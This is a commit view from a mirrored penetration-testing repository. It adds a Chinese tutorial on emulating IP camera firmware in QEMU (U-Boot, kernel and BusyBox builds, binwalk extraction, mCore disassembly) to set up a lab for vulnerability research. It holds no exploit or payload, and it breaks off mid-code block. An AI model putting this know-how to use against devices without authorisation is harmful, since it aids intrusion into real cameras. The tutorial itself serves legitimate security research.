mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2026-10-24 17:04:31 +00:00
Add files via upload
This commit is contained in:
1 parent
3127901ff1
commit
9f2ea97ccf
90 files changed
+31648
No files matched your search
@@ -0,0 +1,644 @@
|
||||
# 0成本搭建摄像头漏洞挖掘环境
|
||||
> 有毒
|
||||
> 来源:https://www.iotsec-zone.com/article/4
|
||||
|
||||
# 0成本搭建摄像头漏洞挖掘环境
|
||||
|
||||
环境说明:
|
||||
Ubuntu 18.04+QEMU
|
||||
|
||||
网络配置:宿主机物理ens18网卡:x.x.x.x/24,虚拟网卡tap0:192.168.0.2/24;
|
||||
|
||||
### 预备知识
|
||||
|
||||
#### 嵌入式linux开机引导程序U-boot
|
||||
|
||||
U-Boot 是一个主要用于嵌入式系统的BootLoader程序,可以支持ARM、RSIC-V、MIPS、x86等多种不同的计算机系统结构。目前常见的摄像头硬件使用的cpu大都是ARM架构,采用uboot方式引导,大致流程是:`设备上电 -> uboot代码自动执行 -> 加载uImage内核文件 -> 将执行权限交给内核启动`。由于它是一套在GNU通用公共许可证之下发布的自由软件,因此我们可直接从官方下载源码进行交叉编译后对其进行仿真模拟运行。
|
||||
|
||||
#### 设备树(DTB)
|
||||
|
||||
设备树(Device Tree binary file),是在系统启动的时候由BootLoader程序将保存在flash或其他地方中的DTB copy到内存中用来描述一棵电路板上CPU、总线、设备组成的树信息,然后内核可以识别这棵树, 并根据它展开出Linux内核中的各种设备。它是由一种ASCII 文本格式的Device Tree描述文件.dts文件,通过DTC(Device Tree Compiler)编译而成,变成适合机器处理的Device Tree Blob。
|
||||
|
||||
#### Linux内核常见格式
|
||||
|
||||
1. vmlinux:编译出来后未压缩最原始的内核文件。
|
||||
2. Image:通用Linux内核二进制映像文件。原则上Image就可以直接被烧录到Flash上进行启动执行(类似于u-boot.bin),但搞嵌入式的还是嫌它大了。
|
||||
3. zImage:自解压的Linux内核映像的压缩版本。是vmlinux经过objcopy gzip压缩后的文件, objcopy实现由vmlinux的elf文件拷贝成纯二进制数据文件,zImage自带了解压缩程序,所以zImage由vmlinux objcopy出来的纯二进制文件以及解压缩程序组成。
|
||||
4. uImage:U-boot专用的映像文件,它是在zImage之前加上一个长度为0x40的TAG。
|
||||
|
||||
#### vexpress虚拟开发版
|
||||
|
||||
资源:
|
||||
CPU:ARM-Versatile Express ARMv7 Processor
|
||||
SD卡:mmci-pl18x clcd-pl11x ARM(R) AMBA(R) PrimeCell Multimedia Card
|
||||
网卡:smsc911x phy:libphy
|
||||
实时时钟:rtc-pl031 (qemu能显示正确时间)
|
||||
串口:AMBA PL011 UART driver
|
||||
看门狗:
|
||||
GPIO:
|
||||
LCD:pl111 clcd-pl11x
|
||||
中断:gic
|
||||
|
||||
### 软件准备
|
||||
|
||||
* 源码包下载:
|
||||
[uboot](https://ftp.denx.de/pub/u-boot/)
|
||||
[linux](https://www.kernel.org/)
|
||||
[busybox](https://busybox.net/downloads/)
|
||||
|
||||
* 创建单独的vexpress目录, 下载uboot, linux和busybox源码并解压,创建镜像文件目录image
|
||||
|
||||
```shell
|
||||
ubuntu@ubuntu-virtual-machine:~/vexpress$ ls
|
||||
busybox busybox-1.31.1.tar.bz2 image linux linux-3.18.30.tar.gz
|
||||
u-boot u-boot-2019.07.tar.bz2
|
||||
```
|
||||
|
||||
* Ubuntu 软件安装:
|
||||
安装交叉编译工具:`sudo apt install gcc-arm-linux-gnueabi`
|
||||
依赖库和软件包安装:`sudo apt-get install zlib1g-dev libglib2.0-0 libglib2.0-dev libtool libsdl1.2-dev autoconf flex bison ncurses-dev u-boot-tools`
|
||||
|
||||
## 一、安装Qemu
|
||||
|
||||
#### 使用 apt-get 安装
|
||||
|
||||
```shell
|
||||
sudo apt-get install qemu
|
||||
sudo apt-get install qemu-system
|
||||
sudo apt-get install qemu-user-static
|
||||
```
|
||||
|
||||
#### Qemu网络功能设置
|
||||
|
||||
**配置TUN/TAP虚拟网络**
|
||||
|
||||
`sudo apt-get install bridge-utils uml-utilities` // 虚拟网桥工具,brctl命令会用到;UML(User-mode linux)工具,tunctl命令会用到
|
||||
|
||||
检查是否有`/dev/net/tun` 设备文件,没有则自行配置安装。
|
||||
|
||||
```shell
|
||||
ubuntu@ubuntu-virtual-machine:~$sudo tunctl -t tap0 -u ubuntu // 创建虚拟网卡并给用户赋予权限
|
||||
// 配置网桥和虚拟网卡ip
|
||||
ubuntu@ubuntu-virtual-machine:~$sudo ifconfig tap0 192.168.0.2 netmask 255.255.255.0
|
||||
// 查看配置后的信息
|
||||
ubuntu@ubuntu-virtual-machine:~$ip a
|
||||
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
|
||||
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
|
||||
inet 127.0.0.1/8 scope host lo
|
||||
valid_lft forever preferred_lft forever
|
||||
inet6 ::1/128 scope host
|
||||
valid_lft forever preferred_lft forever
|
||||
2: ens18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
|
||||
link/ether fe:fc:fe:48:ad:1a brd ff:ff:ff:ff:ff:ff
|
||||
inet x.x.x.x/24 brd x.x.x.255 scope global noprefixroute ens18
|
||||
valid_lft forever preferred_lft forever
|
||||
inet6 fe80::4963:be01:4b2f:abfb/64 scope link noprefixroute
|
||||
valid_lft forever preferred_lft forever
|
||||
3: tap0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel master br0 state UP group default qlen 1000
|
||||
link/ether 2e:d3:aa:eb:eb:57 brd ff:ff:ff:ff:ff:ff
|
||||
inet 192.168.0.2/24 brd 192.168.0.255 scope global tap0
|
||||
valid_lft forever preferred_lft forever
|
||||
inet6 fe80::2cd3:aaff:feeb:eb57/64 scope link
|
||||
valid_lft forever preferred_lft forever
|
||||
//测试网络连通性
|
||||
ubuntu@ubuntu-virtual-machine:~$ping -c 3 192.168.0.2
|
||||
PING 192.168.0.2 (192.168.0.2) 56(84) bytes of data.
|
||||
64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=0.049 ms
|
||||
64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.042 ms
|
||||
64 bytes from 192.168.0.2: icmp_seq=3 ttl=64 time=0.062 ms
|
||||
|
||||
--- 192.168.0.2 ping statistics ---
|
||||
```
|
||||
|
||||
## 二、搭建并运行一个uboot+linux+busybox的ARM仿真环境
|
||||
|
||||
**思路:**
|
||||
|
||||
我们先通过自己模拟各种嵌入式系统必须的模块,最终模拟一个能联网运行的ARM环境,明白启动过程、系统初始化与文件系统挂载等等流程。
|
||||
|
||||
### 1、交叉编译uboot
|
||||
|
||||
```shell
|
||||
ubuntu@ubuntu-virtual-machine:~/vexpress/uboot$export ARCH=arm
|
||||
ubuntu@ubuntu-virtual-machine:~/vexpress/uboot$export CROSS_COMPILE=arm-linux-gnueabi-
|
||||
ubuntu@ubuntu-virtual-machine:~/vexpress/uboot$make vexpress_ca9x4_defconfig // 可以在 configs 目录下选择对应的单板默认配置
|
||||
ubuntu@ubuntu-virtual-machine:~/vexpress/uboot$make -j$(nproc)
|
||||
ubuntu@ubuntu-virtual-machine:~/vexpress/uboot$cp u-boot ../image/
|
||||
# 测试uboot的网络功能
|
||||
ubuntu@ubuntu-virtual-machine:~/vexpress/uboot$qemu-system-arm -M vexpress-a9 -m 512 -nographic -net nic -net tap,ifname=tap0,script=no -kernel u-boot
|
||||
pulseaudio: set_sink_input_volume() failed
|
||||
pulseaudio: Reason: Invalid argument
|
||||
pulseaudio: set_sink_input_mute() failed
|
||||
pulseaudio: Reason: Invalid argument
|
||||
|
||||
U-Boot 2019.07 (Nov 12 2020 - 16:56:44 +0800)
|
||||
|
||||
DRAM: 512 MiB
|
||||
WARNING: Caches not enabled
|
||||
Flash: 128 MiB
|
||||
MMC: MMC: 0
|
||||
*** Warning - bad CRC, using default environment
|
||||
|
||||
In: serial
|
||||
Out: serial
|
||||
Err: serial
|
||||
Net: smc911x-0
|
||||
Hit any key to stop autoboot: 0
|
||||
=> setenv ipaddr 192.168.0.3
|
||||
=> ping 192.168.0.2
|
||||
smc911x: MAC 52:54:00:12:34:56
|
||||
smc911x: detected LAN9118 controller
|
||||
smc911x: phy initialized
|
||||
smc911x: MAC 52:54:00:12:34:56
|
||||
Using smc911x-0 device
|
||||
smc911x: MAC 52:54:00:12:34:56
|
||||
host 192.168.0.2 is alive #这里alive结果表示虚拟主板中uboot和宿主机器可通讯
|
||||
=>
|
||||
```
|
||||
|
||||
### 2、交叉编译linux内核
|
||||
|
||||
```shell
|
||||
ubuntu@ubuntu-virtual-machine:~/vexpress/linux$export ARCH=arm
|
||||
export CROSS_COMPILE=arm-linux-gnueabi-
|
||||
make vexpress_defconfig
|
||||
make -j$(nproc)
|
||||
make modules -j$(nproc)
|
||||
make uImage LOADADDR=0x60000000
|
||||
make dtbs
|
||||
cp -f arch/arm/boot/uImage ../image/
|
||||
cp -f arch/arm/boot/zImage ../image/
|
||||
cp -f arch/arm/boot/dts/vexpress-v2p-ca9.dtb ../image/device.dtb
|
||||
```
|
||||
|
||||
### 3、交叉编译busybox并制作根文件系统
|
||||
|
||||
创建脚本并执行:
|
||||
|
||||
```shell
|
||||
ubuntu@ubuntu-virtual-machine:~/vexpress/busybox$ cat mkbusybox.sh
|
||||
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabi- defconfig
|
||||
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabi- install
|
||||
# 将编译好的busybox和一些动态链接库复制到一个ext3文件系统中,制作rootfs
|
||||
dd if=/dev/zero of=sdcard.ext3 bs=1M count=32
|
||||
mkfs.ext3 sdcard.ext3
|
||||
sudo rm -fr rootfs;
|
||||
mkdir rootfs
|
||||
sudo mount -t ext3 -o loop sdcard.ext3 rootfs/
|
||||
cd rootfs;
|
||||
sudo mkdir lib proc sys dev etc etc/init.d
|
||||
sudo cp -r ../_install/* .
|
||||
sudo cp -P /usr/arm-linux-gnueabi/lib/* lib/
|
||||
|
||||
sudo cp ../examples/bootfloppy/etc/inittab etc/
|
||||
sudo touch etc/init.d/rcS ;
|
||||
sudo chmod 0777 etc/init.d/rcS;
|
||||
sudo echo "#!/bin/sh" >> etc/init.d/rcS
|
||||
sudo echo "mount -t proc none /proc" >> etc/init.d/rcS
|
||||
sudo echo "mount -t sysfs none /sys" >> etc/init.d/rcS
|
||||
sudo echo "mount -t tmpfs none /dev" >> etc/init.d/rcS
|
||||
sudo echo "/sbin/mdev -s" >> etc/init.d/rcS
|
||||
sudo chmod 0755 etc/init.d/rcS;
|
||||
|
||||
cd ..;
|
||||
sudo umount rootfs/
|
||||
cp sdcard.ext3 ../image/
|
||||
```
|
||||
|
||||
### 4、搭建tftp服务器(供uboot下载内核启动)
|
||||
|
||||
```shell
|
||||
ubuntu@ubuntu-virtual-machine:~/vexpress/$sudo apt-get install tftp-hpa tftpd-hpa
|
||||
ubuntu@ubuntu-virtual-machine:~/vexpress/$cat /etc/default/tftpd-hpa #修改配置文件
|
||||
# /etc/default/tftpd-hpa
|
||||
|
||||
TFTP_USERNAME="tftp"
|
||||
TFTP_DIRECTORY="/home/ubuntu/vexpress/image"
|
||||
TFTP_ADDRESS=":69"
|
||||
TFTP_OPTIONS="--secure"
|
||||
ubuntu@ubuntu-virtual-machine:~/vexpress/$sudo service tftpd-hpa restart
|
||||
```
|
||||
|
||||
### 5、运行uboot+linux+busybox文件系统的ARM环境
|
||||
|
||||
使用虚拟网卡tap0、引导程序u-boot、内核镜像uImage和根文件系统sdcard.ext3这些自建的零件启动一个带网络的ARM仿真环境
|
||||
|
||||
```shell
|
||||
ubuntu@ubuntu-virtual-machine:~/vexpress/image/$qemu-system-arm -M vexpress-a9 -m 512 -nographic -net nic -net tap,ifname=tap0,script=no -kernel u-boot -sd sdcard.ext3
|
||||
#......
|
||||
=>setenv ipaddr 192.168.0.3 #这里只是设置uboot的临时ip
|
||||
=>setenv serverip 192.168.0.2 #设置tftp服务器地址
|
||||
=>tftp 0x60000000 uImage #从tftp服务器上下载内核镜像,加载到0x60000000地址处
|
||||
=>tftp 0x70000000 device.dtb #从tftp服务器上下载设备树,加载到0x70000000地址处
|
||||
=>setenv bootargs "console=ttyAMA0 root=/dev/mmcblk0 init=/linuxrc rw rootwait" #设置启动参数,指定系统初始化程序以及根文件在哪块分区位置等
|
||||
=>bootm 0x60000000 - 0x70000000 #从0x60000000启动内核(注意-号两边有空格)
|
||||
#...自动加载启动内核并挂载根文件系统和执行rcS初始化脚本...
|
||||
/ # ls
|
||||
bin lost+found sys
|
||||
dev lib proc usr
|
||||
etc linuxrc sbin
|
||||
/ # ifconfig eth0 192.168.0.4 #这里设置的是虚拟环境的ip,可与宿主机的tap0网卡192.168.0.2通讯
|
||||
```
|
||||
|
||||
使用zImage内核文件不依赖uboot直接启动:
|
||||
|
||||
```shell
|
||||
ubuntu@ubuntu-virtual-machine:~/vexpress/image/$qemu-system-arm -M vexpress-a9 -m 512 -sd sdcard.ext3 -nographic -net nic -net tap,ifname=tap0,script=no -kernel zImage -dtb device.dtb -append "console=ttyAMA0 rootwait rw root=/dev/mmcblk0 init=/linuxrc"
|
||||
```
|
||||
|
||||
退出仿真环境:
|
||||
|
||||
先按Ctrl+A,然后按x键即可退出qemu仿真环境
|
||||
|
||||
## 三、分析摄像头升级固件并根据固件模拟摄像头环境
|
||||
|
||||
思路:通过分析摄像头固件,得到其中的文件,解压出其中的文件后分析启动过程,将如何初始化、修改了哪些文件等等操作都记录下来,然后把提取出来的文件放到自己制作的一个文件系统中,用我们自己的ARM仿真环境去挂载这个根据固件制作出来的文件系统,对此摄像头环境进行仿真模拟。
|
||||
|
||||
### 1、使用binwalk分析提取固件
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117145821.png)
|
||||
|
||||
```shell
|
||||
ubuntu@ubuntu-virtual-machine:~/ipc/$binwalk -Me _IPC-HFW1XXX-Alps_Chn_PN_V2.622.0000000.31.R.171229.bin
|
||||
ubuntu@ubuntu-virtual-machine:~/ipc/_IPC-HX1XXX-Mao-Eris_Chn_PN_V2.680.0000000.3.R.191216.bin.extracted$ls
|
||||
84.zip boot.bin.img Install _kernel.img.extracted partition-x.cramfs.img romfs-x.squashfs.img sign.img web-x.squashfs.img
|
||||
check.img _boot.bin.img.extracted kernel.img pd-x.squashfs.img romfs-x.squashfs _romfs-x.squashfs.img.extracted
|
||||
```
|
||||
|
||||
### 2、分析各个镜像中文件
|
||||
|
||||
通过简单推理与分析得出:
|
||||
|
||||
`web-x.squashfs.img`中保存的是web文件系统
|
||||
|
||||
`romfs-x.squashfs.img`中保存的是根文件系统
|
||||
|
||||
`kernel.img`中保存的是内核镜像
|
||||
|
||||
我们将其解压,进入到根文件系统中,查看一下`_romfs-x.squashfs.img.extracted/squashfs-root/etc/init.d/rcS`文件,分析是如何启动初始化的:
|
||||
|
||||
```shell
|
||||
#! /bin/sh
|
||||
|
||||
if [ -f /proc/xxxxx/fsmountcmd ]; then
|
||||
echo #! /bin/sh > /var/script
|
||||
cat /proc/xxxxx/fsmountcmd >> /var/script
|
||||
chmod 777 /var/script
|
||||
/var/script
|
||||
rm /var/script
|
||||
else
|
||||
mount /dev/mtdblock3 /mnt/custom/
|
||||
mount /dev/mtdblock4 /mnt/pd/
|
||||
mount /dev/mtdblock6 /mnt/web/
|
||||
mount /dev/mtdblock8 /usr/
|
||||
mnt_jffs2 /dev/mtdblock9 /mnt/syslog jffs2
|
||||
mnt_jffs2 /dev/mtdblock10 /mnt/mtd jffs2
|
||||
mnt_jffs2 /dev/mtdblock11 /mnt/backup jffs2
|
||||
fi
|
||||
... ...
|
||||
/sbin/telnetd &
|
||||
/usr/etc/imod
|
||||
```
|
||||
|
||||
### 3、使用提取出的文件制作文件系统
|
||||
|
||||
根据初始化脚本,大概推测出哪个img挂载到了哪个目录,我们可以直接创建一个根文件系统,并按照对应关系创建相应目录,然后把对应镜像解压复制到对应目录即可
|
||||
|
||||
```shell
|
||||
dd if=/dev/zero of=carmfs.ext3 bs=1M count=512
|
||||
mkfs.ext3 carmfs.ext3
|
||||
mkdir rootfs
|
||||
sudo mount -t ext3 -o loop carmfs.ext3 rootfs/
|
||||
cp -r _romfs-x.squashfs.img.extracted/squashfs-root/ rootfs
|
||||
cd rootfs
|
||||
mv squashfs-root/* ../
|
||||
rm -r squashfs-root/
|
||||
cd ..
|
||||
sudo umount rootfs
|
||||
cp carmfs.ext3 ~/vexprexx/image/
|
||||
```
|
||||
|
||||
### 4、使用u-boot的tftp下载uImage并挂载摄像头文件系统方式启动仿真环境
|
||||
|
||||
```shell
|
||||
ubuntu@ubuntu-virtual-machine:~/vexpress/image/$qemu-system-arm -M vexpress-a9 -m 512 -nographic -net nic -net tap,ifname=tap0,script=no -kernel u-boot -sd carmfs.ext3
|
||||
#......
|
||||
=>setenv ipaddr 192.168.0.3 #这里只是设置uboot的临时ip
|
||||
=>setenv serverip 192.168.0.2 #设置tftp服务器地址
|
||||
=>tftp 0x60000000 uImage #从tftp服务器上下载内核镜像,加载到0x60000000地址处
|
||||
=>tftp 0x70000000 device.dtb #从tftp服务器上下载设备树,加载到0x70000000地址处
|
||||
=>setenv bootargs "console=ttyAMA0 root=/dev/mmcblk0 init=/linuxrc rw rootwait" #设置启动参数,指定系统初始化程序以及根文件在哪块分区位置等
|
||||
=>bootm 0x60000000 - 0x70000000 #从0x60000000启动内核(注意-号两边有空格)
|
||||
#...自动加载启动内核并挂载根文件系统和执行rcS初始化脚本,启动各种服务...
|
||||
```
|
||||
|
||||
至此,如果一切正常,我们就根据摄像头固件模拟得到一个摄像头环境。
|
||||
|
||||
## 四、实战分析几种固件
|
||||
|
||||
### 实战A:A厂摄像头型号a
|
||||
|
||||
从网上下载A厂摄像头型号a的升级固件
|
||||
|
||||
#### 1、使用binwalk分析提取固件
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117145840.PNG)
|
||||
|
||||
进入提取后的_romfs-x.squashfs.img分区中,能看见这就是一个嵌入式linux的根目录。
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117145854.png)
|
||||
|
||||
查看`_xx_ipc.bin.extracted/_romfs-x.squashfs.img.extracted/squashfs-root/etc/init.d/rcS`脚本进行了哪些操作,如将什么分区挂载到了什么目录,最后拉起了什么服务等等
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117145846.PNG)
|
||||
|
||||
#### 2、分析并制作文件系统
|
||||
|
||||
根据初始化脚本rcS中挂载情况,推出各个分区挂载在到跟文件系统中的目录,我们直接在romfs-x中创建对应目录,然后把相应分区镜像中的文件复制到romfs这个根分区的文件夹中。我们制作一个根文件系统把这些文件都放进去即可,最后在rcS脚本中写入/bin/sh,方便初始化完成后直接进入我们的shell。
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117145905.png)
|
||||
|
||||
最后得到包含摄像头文件的文件系统ipc_disk.ext3
|
||||
|
||||
#### 3、仿真运行
|
||||
|
||||
使用上面我们自己编译的zImage内核镜像和从摄像头固件提取出来的文件制作的文件系统开始仿真运行:
|
||||
|
||||
```shell
|
||||
ubuntu@ubuntu-virtual-machine:~/vexpress/image/$qemu-system-arm -M vexpress-a9 -m 512 -nographic -net nic -net tap,ifname=tap0,script=no -kernel zImage -append "console=ttyAMA0 rootwait rw root=/dev/mmcblk0 init=/linuxrc" -sd ipc_disk.ext3
|
||||
```
|
||||
|
||||
启动时内核报错:
|
||||
`Kernel panic - not syncing: Requested init /linuxrc failed (error -8).`
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117145934.png)
|
||||
|
||||
通过查看linux内核的错误定义头文件include/uapi/asm-generic/errno-base.h中得知以上错误代码`error 8`的含义,是由于linuxrc初始化程序报的可执行文件格式错误。
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117150003.png)
|
||||
|
||||
一般情况下linuxrc在嵌入式linux中就是软连接到busybox的,如果提取出来的文件系统中的busybox不兼容我们的虚拟开发板,则必须重新创建能运行目标程序的主板才行。我们将文件系统挂载到本地,分析一下是什么原因:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117150050.png)
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117150123.png)
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117150202.png)
|
||||
|
||||
简单使用了file命令和readelf简单分析了摄像头文件系统中的busybox二进制程序和其他的一些二进制程序,可以发现它们确实是可执行文件格式,但使用了一种摩托罗拉的架构,和本机的X86-64架构、仿真环境的ARM架构完全不一样。我们从中拿出一个小的配置wifi功能的二进制程序iwconfig来尝试逆向分析:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117150413.png)
|
||||
|
||||
可以看到识别出来这个二进制程序是摩托罗拉的一个叫mCore的架构,从来就没有见过这种东西,比较好奇这是什么架构,刚准备继续逆向分析,就发现无情提示“您安装的版本不支持此架构”:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117150430.PNG)
|
||||
|
||||
现在陷入僵局,无法逆向分析了,就开始思考:a.是否由于厂商可以修改了elf的标志,让常规的普通内核和逆向软件无法识别加载这种特殊格式的可执行程序,只有自家厂商的魔改内核可加载这种程序;b.此版本摄像头硬件就是使用的是摩托罗拉mCore架构芯片,并没有采用大众的ARM架构芯片。
|
||||
|
||||
开始验证假设a:恢复elf的arch标志位为ARM架构,将0x0012h处的`27 00`改为`28 00`即可,看看能不能在我们的arm仿真环境中正常运行:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117150528.png)
|
||||
|
||||
将修改为arm架构标志`28 00`后的elf文件拿到我们的arm仿真环境中结果还是不能正确识别运行,猜想a错误,接下来验证猜想b。
|
||||
|
||||
验证猜想b:
|
||||
|
||||
查了一下`motorola mcore`的资料,维基百科这样介绍:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151051.png)
|
||||
|
||||
M-CORE是一种摩托罗拉设计的基于RISC指令集的低功耗芯片架构 ... ...,看到推出年代是1997年,几乎和我一般大了,这也很老了,居然从来没听说过。还好这里还给出了这款芯片的开发人员参考手册,可以继续学习一下,方便后续逆向。
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117150613.PNG)
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151923.PNG)
|
||||
|
||||
通过阅读这个手册,知道这些关键信息:mCore是采用32位的RISC指令集架构,指令长度固定为16位,得到各指令功能介绍,得到二进制操作码和指令对应关系。
|
||||
|
||||
现在回来开始逆向分析二进制程序就思路清晰了,知道如何把二进制代码转换为指令来分析功能了:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151244.png)
|
||||
|
||||
我们再看一下上面readelf分析出iwconfig文件,从节头表中找到.text节,得到代码节映射到内存中的起始地址是0xa0f0;此节相对于文件开头的偏移地址是0x20f0,大小为0x6c3e字节,我们静态分析就从这个偏移地址开始:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151304.png)
|
||||
|
||||
得到0x00020f0这个地址的值为0x7208,转换16位二进制格式的指令就是`0b01110010 00001000 `
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151319.png)
|
||||
|
||||
到手册中的 Opcode Map对应关系中查询,只有lrw指令的格式满足`0b01110010 00001000 `,转化为汇编代码就是`lrw 0010 00001000`,继续查阅lrw指令介绍 (Load Relative Word)及后面的数据结构:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151330.png)
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151354.png)
|
||||
|
||||
最终根据说明,得到0x7208对应的汇编指令为:`lrw r0,[0x8]`,作用就是把末尾的8位左移2(扩大4倍)加上2与PC的值求和后再与0xfffffffc进行逻辑“与”运算,强制将低两位清0后放到rz寄存器,rz通常情况就是栈指针r0。
|
||||
|
||||
同理,根据手册就可以翻译出.text节的所有的汇编代码。
|
||||
|
||||
难道没有能反汇编mcore架构的工具吗?难道就这样一条条查手册来反汇编吗?要自动化提高效率还得写个脚本去反汇编?这样投入太大了,不划算啊。mcore架构已经推出这么久了,应该有前人已经做过这些工作了呀。
|
||||
|
||||
后来同事让我看看r2是否支持,我一试果然还是开源的radare2支持得架构多,确实可以,接下来看看r2的桌面版工具cutter的反汇编情况:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151400.png)
|
||||
|
||||
果然还是工具强大,各种辅助线,各种注释,节省了很多精力,遗憾不能反编译为伪代码,我们把更多精力放在阅读汇编代码上,这样就可以愉快的进行漏洞挖掘了。
|
||||
|
||||
通过按照标准的mcore芯片文档来逆向分析,确定这些摄像头固件里的二进制程序确实没有经过混淆修改,得知此摄像头硬件应该确实是摩托罗拉的芯片,猜想b成立。
|
||||
|
||||
接下来就面临一个非常尴尬的情况,目前能静态的逆向分析这些程序了,但是没有动态调试环境。尝试用qemu来模拟出一个mcore架构的运行环境,刚开始查阅qemu官方文档,其中介绍到有支持RISC-V的模块,天真的想到mcore基于RISC指令集,RISC-V是它的第5版,应该向下兼容吧,然后就开始下载qemu源码,手动编译配置添加这个模块,接下来还需要编译RISC-V的内核,然后有巨多的坑。后来才发现ARM也是属于RISC指令集的,因此mCore、ARM、RISC-V都是基于RISC的同一高度的不同架构,根本不是第5版,本地的ARM仿真环境不能运行mcore的程序,肯定编译出来的RISC-V也是互不兼容啊,很遗憾我没找到能模拟mcore程序的运行环境。如果有大佬能解决这个问题,希望可以指点一下。
|
||||
|
||||
|
||||
|
||||
### 实战B:A厂摄像头型号b
|
||||
|
||||
由于目前不能模拟出mcore架构环境,在A厂的型号a产品上的完美模拟暂时碰壁了,因此我们将目标转向型号b,从网上下载A厂摄像头型号b的升级固件
|
||||
|
||||
#### 1、提取分析固件、制作文件系统
|
||||
|
||||
由于是同一厂商的不同型号,固件提取和文件系统制作过程都差不多,这里就省略了,直接记录仿真运行中遇到的坑。
|
||||
|
||||
#### 2、仿真运行
|
||||
|
||||
```shell
|
||||
ubuntu@ubuntu-virtual-machine:~/vexpress/image/$qemu-system-arm -M vexpress-a9 -m 512 -nographic -net nic -net tap,ifname=tap0,script=no -kernel zImage -append "console=ttyAMA0 rootwait rw root=/dev/mmcblk0 init=/linuxrc" -sd carm_sd.ext3
|
||||
```
|
||||
|
||||
报错:无法创建、解压文件的问题我们可以进入shell后手动操作,提示初始化时文件系统中模块的version magic和当前内核不匹配,因此我们需要编译能加载vermagic为`3.18.30 preempt mod_unload ARMv7 p2v8`的内核
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151408.PNG)
|
||||
|
||||
解决:下载3.18.30的内核源码,查看`include/linux/vermagic.h` 得知启用preempt,需要开启`CONFIG_PREEMPT`配置
|
||||
Linux内核中启用`CONFIG_PREEMPT`选项:
|
||||
`make menuconfig`生成`.config`文件,
|
||||
修改.config,删掉CONFIG_SMP相关配置,启用 `CONFIG_PREEMPT=y`
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151415.PNG)
|
||||
|
||||
十分幸运修改完成交叉编译好指定版本的ARM架构内核后,基本能成功运行,接下来检查配置网络,测试与宿主机的网络畅通:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151421.png)
|
||||
|
||||
但是通过ps查看进程,没有发现有相应的web服务,netstat命令也没看见有监听的端口,应该是服务没有运行。
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151428.PNG)
|
||||
|
||||
我们要找到是是谁提供的web服务,看看能不能通过手动启动。思路:在web目录中查看相关文件,看看调用了什么接口,然后全局搜索接口在什么地方出现。
|
||||
|
||||
在宿主机上切到web分区目录,开启一个python服务器,模拟一个web服务来提供index页面,通过访问抓包获取登录接口
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151436.PNG)
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117161043.png)
|
||||
|
||||
然后我们把carm_sd.ext3挂载到宿主机的rootfs目录,在此目录中全局搜索字符串,看看在哪里出现了,通过宿主机器搜索文件相对更快:
|
||||
|
||||
```shell
|
||||
